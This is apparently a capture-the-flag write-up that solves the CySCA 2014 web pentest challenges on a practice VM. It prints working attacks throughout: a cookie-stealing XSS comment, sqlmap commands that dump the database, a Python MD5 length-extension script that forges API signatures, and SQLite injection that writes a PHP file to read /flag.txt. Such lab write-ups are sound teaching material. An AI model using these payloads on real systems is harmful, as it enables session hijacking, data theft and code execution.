CySCA 2014 - Web Application Pentest writeup

I’ve written up my solutions to the web pentest part of CySCA 2014. You can read them below or at this GitHub Gist.

The CySCA organizers have released a VM image with most of the challenges from CySCA 2014, which you can grab from http://goo.gl/6ftZ39 to play with. Here are my solutions to the Web Application Pentest section.

Club Status

Only VIP and registered users are allowed to view the Blog.
Become VIP to gain access to the Blog to reveal the hidden flag.

This one is pretty simple. The “Blog” link is currently disabled, so we need to find a way to give ourselves VIP status in order to access it.

Using a handy Chrome extension called EditThisCookie, we can see the standard “PHPSESSID” cookie alongside a “vip” cookie - currently set to 0.

Setting this to 1 enables the link, which once followed, gives us the flag: ComplexKillingInverse411

Om Nom Nom

Gain access to the Blog as a registered user to reveal the hidden flag.

Now that we’ve got access to the blog, we have the ability to post comments. We can also see when users view blog posts:

It seems like Sycamore is viewing this blog post pretty regularly, so it’s probably an indication that we need to perform some kind of XSS on this particular post. We can manipulate the page by posting comments, so we’ll use that to see if there are any XSS vulnerabilities.

There is some sanitization occurring, as raw text input seems to be passed through something like the PHP function htmlentities. However, the link Markdown is not properly sanitized - the link title is displayed as-is.

Adding a comment like this:

1
Test link [<script>alert('test');</script>](http://asdf.com)

gives us confirmation that we can add JS to the page.

Now all we have to do is insert some JS to grab Sycamore’s cookies so we can hijack his session - we’re going to add a comment to the blog post with the cookie of the viewer using this code:

1
2
3
$(function(){
$.post("", { comment: document.cookie });
});

With extra whitespace removed, this is injected into the page by posting this comment:

1
[<script>$(function(){$.post("",{comment:document.cookie});})</script>](http://asdf.com)

After waiting a minute or so, we see that Sycamore has visited the page and the cookies are displayed:

PHPSESSID=cq3fg8647fo5c72ll63ljorgk1; vip=0

By using EditThisCookie, we can set our PHPSESSID cookie to be the same as Sycamore’s to become logged in as him, revealing the flag: OrganicShantyAbsent505

Nonce-sense

Retrieve the hidden flag from the database.

Since we’re dealing with a database, this challenge is probably going to involve some SQL injection. There are several obvious places where a potential SQLi vulnerability exists: the login page, the new comment form, and the new blog post form. None of these are vulnerable.

There is, however, a “Delete Comment” button next to the comments on the blog post which is powered by the following code:

1
2
3
4
5
6
7
8
9
window.csrf = '2803ab8a931b17b6';
function deletecomment(obj, id) {
$.post('/deletecomment.php', {csrf: window.csrf, comment_id: id}).done(function(data) {
if (data['result']) {
$(obj).parent().remove();
window.csrf = data['csrf'];
}
});
}

We can quickly check that the comment_id field is vulnerable to SQL injection by executing deletecomment(null, "'") and inspecting the response:

1
{"result":false,"error":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1","csrf":"e51f30cba74fb003"}

The easiest way to turn this vulnerability into something useful is by using sqlmap to automatically do all the boring work for us. Unfortunately, we can see that there is a CSRF token which changes on every page load, as well as every time a request to deletecomment.php is made. sqlmap can’t automatically take this into account, so we’ll use the --eval option and a small Python script to create valid requests.

But first, we need to create a request file so sqlmap knows how to make the POST request (see the sqlmap docs):

1
2
3
4
5
POST /deletecomment.php HTTP/1.1
Host: <insert host>
Cookie: PHPSESSID=<insert Sycamore session id>;vip=0

csrf=replace_me&comment_id=1

Since our script to grab the CSRF token is a bit lengthy, I saved the following code into a file called cysca_csrf.py in the same directory as sqlmap:

1
2
3
4
5
6
7
8
9
10
11
12
import urllib2
import re

def get_csrf():
# Load a page to generate a CSRF token
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'PHPSESSID=<insert Sycamore session id>'))
page = opener.open('http://<insert host>/blog.php?view=2').read()

# Extract the token
match = re.search(r"window\.csrf = '(.+)';", page)
return match.group(1)

and then called sqlmap with our request file and some eval code:

1
sqlmap -r deletecomment.txt --eval="import cysca_csrf;csrf=cysca_csrf.get_csrf()"

Pretty quickly, sqlmap tells us that comment_id is indeed vulnerable:

1
2
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Since that works, we can now grab all the tables from the database:

1
sqlmap -r deletecomment.txt --eval="import cysca_csrf;csrf=cysca_csrf.get_csrf()" --tables

and find that there are five relevant tables:

1
2
3
4
5
6
7
8
9
Database: cysca
[5 tables]
+---------------------------------------+
| user |
| blogs |
| comments |
| flag |
| rest_api_log |
+---------------------------------------+

The flag is probably in the flag table, but we’ll dump everything anyway.

1
sqlmap -r deletecomment.txt --eval="import cysca_csrf;csrf=cysca_csrf.get_csrf()" -D cysca --dump-all

Sure enough, looking in the flag.csv file generated by sqlmap, the flag is there: CeramicDrunkSound667

Hypertextension

Retrieve the hidden flag by gaining access to the caching control panel.

The hint given for this problem is actually pretty helpful:

While the cache page is the end result, it has nothing to do with the problem. Focus on the REST api.

We need to find a way to locate the caching control panel and gain access to it through the REST API. We’ll attempt to view the source code of all known PHP files to see if there are any references to the caching system.

The API specification says that it is possible to create “documents” using the API by making a specific POST request to /api/documents. The document can then be downloaded from the URI returned in the POST request. If we were to add index.php to the document system, we should be able to view its source code.

But first, we need an API key. Looking in the rest_api_log.csv file generated by sqlmap in Nonce-sense, we can see that the API server kindly stores the API key associated with every request in plain text:

1
2
3
4
5
id,method,params,api_key,created_on,request_uri
1,POST,contenttype=application%2Fpdf&filepath=.%2Fdocuments%2FTop_4_Mitigations.pdf&api_sig=235aca08775a2070642013200d70097a,b32GjABvSf1Eiqry,2014-02-21 09:27:20,\\/api\\/documents
2,GET,_url=%2Fdocuments&id=2,NULL,2014-02-21 11:47:01,\\/api\\/documents\\/id\\/2
3,POST,contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest-api.txt&api_sig=95a0e7dbe06fb7b77b6a1980e2d0ad7d,b32GjABvSf1Eiqry,2014-02-21 11:54:31,\\/api\\/documents
4,PUT,_url=%2Fdocuments&id=3&contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest-api-v2.txt&api_sig=6854c04381284dac9970625820a8d32b,b32GjABvSf1Eiqry,2014-02-21 12:07:43,\\/api\\/documents\\/id\\/3

We can now use b32GjABvSf1Eiqry as our API key when making requests. We also need to generate a “signature” for every request, which the specification describes:

1
2
3
4
5
The process of signing is as follows.
- Sort your argument list into alphabetical order based on the parameter name. e.g. foo=1, bar=2, baz=3 sorts to bar=2, baz=3, foo=1
- concatenate the shared secret and argument name-value pairs. e.g. SECRETbar2baz3foo1
- calculate the md5() hash of this string
- append this value to the argument list with the name api_sig, in hexidecimal string form. e.g. api_sig=1f3870be274f6c49b3e31a0c6728957f

Unfortunately, step 2 of this process is going to be an issue since we do not know the shared secret. However, since the signing method has the following characteristics:

  • The secret is prepended to a known string
  • We have a valid signature for a known input
  • The signature is generated using MD5

we can perform a length extension attack. The way the attack works is described very well at https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks.

By looking at the first request in the rest_api_log table, we can see that the first request is one that has a valid signature and gives us the data sent to the server. In this case, the signature is calculated as the MD5 of this string:

1
SECRETcontenttypeapplication/pdffilepath./documents/Top_4_Mitigations.pdf

where SECRET is the unknown shared secret. We want our request parameters to be contenttype=text/plain&filepath=index.php in order to read index.php, and we want this data to be appended to the end of the signature string so we can use the length extension attack to calculate a valid signature.

So, if we make a request with these parameters:

1
c=ontenttypeapplication/pdffilepath./documents/Top_4_Mitigations.pdf<padding>&contenttype=text/plain&filepath=index.php&api_sig=<new_sig>

then the signature will be calculated from:

1
SECRETcontenttypeapplication/pdffilepath./documents/Top_4_Mitigations.pdf<padding>contenttypetext/plainfilepathindex.php

which is exactly what we need to perform the attack. Now we need a tool which can perform this attack - preferably in Python since we will need to do some brute forcing to determing the length of the secret (which is needed for this attack). Googling length extension md5 python gives this great page which has an implementation.

Putting everything together, I made a Python script to do all the work. You give it the address of the web server and the list of files you want, and it will give you the download links.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# Create spoof_md5.py from http://www.huyng.com/media/3006/spoof_md5.py.txt
from spoof_md5 import spoof_digest
import urllib
import urllib2
import json

host = "10.10.0.114"
files = ["index.php"]

def construct_request(host, filename, key_length):
request_params = {}
request_params["contenttype"] = "text/plain"
request_params["filepath"] = filename

# Construct the string we're appending to the original signature string
new_data = ""
for key in sorted(request_params):
new_data += key + request_params[key]

request_params["c"] = "ontenttypeapplication/pdffilepath./documents/Top_4_Mitigations.pdf"

# Original signature from the request in rest_api_log
original_sig = "235aca08775a2070642013200d70097a".decode("hex")
original_data = "c" + request_params["c"]

# Perform length extension attack
# new signature string = secret + original_data + padding + new_data
spoofed_sig, padding = spoof_digest(original_sig, len(original_data) + key_length, new_data)

# Add padding to original data
request_params["c"] += padding

# Add signature to request
request_params["api_sig"] = spoofed_sig.encode("hex")

# Create request
data = urllib.urlencode(request_params)
request = urllib2.Request("http://" + host + "/api/documents", data, {"X-Auth": "b32GjABvSf1Eiqry"})

return request

def find_key_length(host):
# Try up to 32 as key length
for i in range(32):
request = construct_request(host, "index.php", i)
try:
f = urllib2.urlopen(request)
result = f.read()
# If we reach this, the request worked and i is the key length
return i
except urllib2.HTTPError:
pass

def get_download_link(host, filename, key_length):
request = construct_request(host, filename, key_length)

f = urllib2.urlopen(request)
result = f.read()
data = json.loads(result)

return "http://" + host + data["uri"]

# Find key length
key_length = find_key_length(host)

# Get download urls for all files
for f in files:
print('{0}: {1}'.format(f, get_download_link(host, f, key_length)))

Run the script, and we obtain the source code for index.php! Immediately, we see references to the cache system:

1
2
3
4
5
6
<?php
// Not in production... see /cache.php?access=<secret>
include('../lib/caching.php');
if (isset($_GET['debug'])) {
readFromCache();
}

Let’s use the script to download cache.php and ../lib/caching.php. Looking at contents of cache.php, the flag is in plain sight:

1
2
3
4
5
6
7
<?php

/**
* NOTE: THIS IS UNDER DEVELOPMENT AND SHOULD NOT BE USED IN PRODUCTION
*/

$flag = 'OrganicPamperSenator877';

Injeption

Reveal the final flag, which is hidden in the /flag.txt file on the web server.

We can now access the cache control panel through cache.php?access=f4fa5dc42fd0b12a098fcc218059e061. We have full access to all the source code used on this page, so there is no guessing required to solve this challenge.

After looking through the code for cache.php and ../lib/caching.php, we can ascertain the following:

  • The caching system uses an SQLite database
  • CacheDb::setCache is vulnerable to SQL injection on $key, $title, $uri, and $data
  • We can execute stacked queries if we can use the SQL injection vulnerability

Here’s CacheDb::setCache for reference:

1
2
3
4
5
6
7
8
9
10
public function setCache($key, $title, $uri, $data) {
$query = "INSERT INTO cache VALUES ('$title', '$key', '$uri', '$data', datetime('now'))";

if (!($this->conn->exec($query))) {
$error = $this->conn->errorInfo();
throw new Exception($error[2]);
}

return $this->conn->lastInsertId();
}

SQLite has a very interesting and very dangerous command: ATTACH DATABASE. For the purposes of this challenge, it allows new databases to be created via an SQL query, and have them persisted to disk as any filename.

SQLite databases are stored as a single file, and importantly, any string we insert into a table will be present in the file in plain text (no compression or special encoding). So, all we need to do is create a database called test.php in the same directory as cache.php which contains the string:

1
<?php echo file_get_contents('/flag.txt'); ?>

This will create a file which looks like:

1
[random junk characters]<?php echo file_get_contents('/flag.txt'); ?>[random junk characters]

If you give this to the PHP interpreter, it will output the [random junk characters], then execute the code in the PHP tags, then output the remaining [random junk characters].

As such, making a request to http://host/test.php will invoke the PHP interpreter on the file, and give us the flag.

To create this file, we need to somehow inject the following SQL through CacheDb::setCache:

1
2
3
ATTACH DATABASE 'test.php' AS a;
CREATE TABLE a.tbl (test);
INSERT INTO a.tbl (test) VALUES ('<?php echo file_get_contents("/flag.txt"); ?>');

Let’s look at the values passed to CacheDb::setCache a bit more closely.

For $key:

  • The value is an MD5 hash, meaning it is not suitable for injection

For $title:

  • The value is passed in directly from $_POST['title']
  • A check is made to ensure that the title is not greater than 40 characters, meaning that, although still vulnerable, this parameter is not suitable for the injection we want to perform

For $uri:

  • The value checked extensively to ensure that it points to a resource on the current web server
  • urlencode is called on $uri before it is inserted into the database, meaning it is not suitable for injection

This leaves only the $data parameter, whose value is set via

1
$data = file_get_contents($uri)

after the script ensures that $uri is a file on the current web server. file_get_contents will essentially download the page at $uri and return the contents as a string. If we can manipulate a page on the web server to include this string:

1
test', datetime('now')); ATTACH DATABASE 'test.php' AS a; CREATE TABLE a.tbl (test); INSERT INTO a.tbl (test) VALUES ('<?php echo file_get_contents("/flag.txt"); ?>'); --

and force the cache script to download the page, then our SQL injection will succeed and we’ll be able to get the flag.

A page we can manipulate is cache.php by adding in a cache entry with a specially crafted URI. Although the URI is stored in urlencoded form, it is displayed in its original form. By adding a cache entry with:

1
2
Title: Testing
URI: http://host/index.php?somevar=test', datetime('now')); ATTACH DATABASE 'test.php' AS a; CREATE TABLE a.tbl (test); INSERT INTO a.tbl (test) VALUES ('<?php echo file_get_contents("/flag.txt"); ?>'); --

the rendered source of cache.php becomes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head><title>Caching Panel (under development)</title></head>
<body>
<ul>
</ul>
<form action="cache.php?access=f4fa5dc42fd0b12a098fcc218059e061" method="post">
Enter Title: <input type="text" name="title" value="" /><br />
Enter Uri: <input type="text" name="uri" value="" /><br />
<input type="submit" />
</form>
<table>
<thead><tr><td>Title</td><td>URI</td><td>Created On</td><td>Action</td></tr></thead>
<tbody>
<tr>
<td>Testing</td>
<td>http://host/index.php?somevar=test', datetime('now')); ATTACH DATABASE 'test.php' AS a; CREATE TABLE a.tbl (test); INSERT INTO a.tbl (test) VALUES ('<?php echo file_get_contents("/flag.txt"); ?>'); -- </td>
<td>2014-06-07 03:49:57</td>
<td><a href="cache.php?access=f4fa5dc42fd0b12a098fcc218059e061&delete=1">delete</a></td>
</tr>
</tbody>
</table>
</body>
</html>

Importantly, the first ' on the page is the one we inserted, so all we need to do now is have the script load this into $data which will inject our SQL into the query.

Submitting an entry with these details:

1
2
Title: Testing Again
URI: http://host/cache.php?access=f4fa5dc42fd0b12a098fcc218059e061

performs the exploit, and we can now visit http://host/test.php to retrieve the flag TryingCrampFibrous963.

Injeption Alternative

To be honest, solving Injeption by creating a PHP file doesn’t seem like the way that the organizers wanted it to be solved - there is a much more elegant solution.

We first need to guess that the API server is running off a PHP script called api.php. Once downloaded through the script created for Hypertextension, we can view the source to api.php and see that it also uses an SQLite database located at ../db/api.db.

To read /flag.txt, we can insert a row into the documents table with file_path = '/flag.txt' and content_type = 'text/plain', then request the list of documents using http://host/api/documents to find the ID for the inserted row, allowing us to download the file through http://host/api/documents/id/<id>.

By injecting the following SQL in the same way as before:

1
2
ATTACH DATABASE '../db/api.db' AS api;
INSERT INTO api.documents VALUES ('/flag.txt', 'text/plain', datetime('now'));

and then visiting the document list, we find that our entry has been created:

1
2
3
4
5
6
{
"file_path": "/flag.txt",
"content_type": "text/plain",
"created_on": "2014-06-07 04:46:45",
"uri": "/api/documents/id/30"
}

By visiting http://host/api/documents/id/30, we get the flag.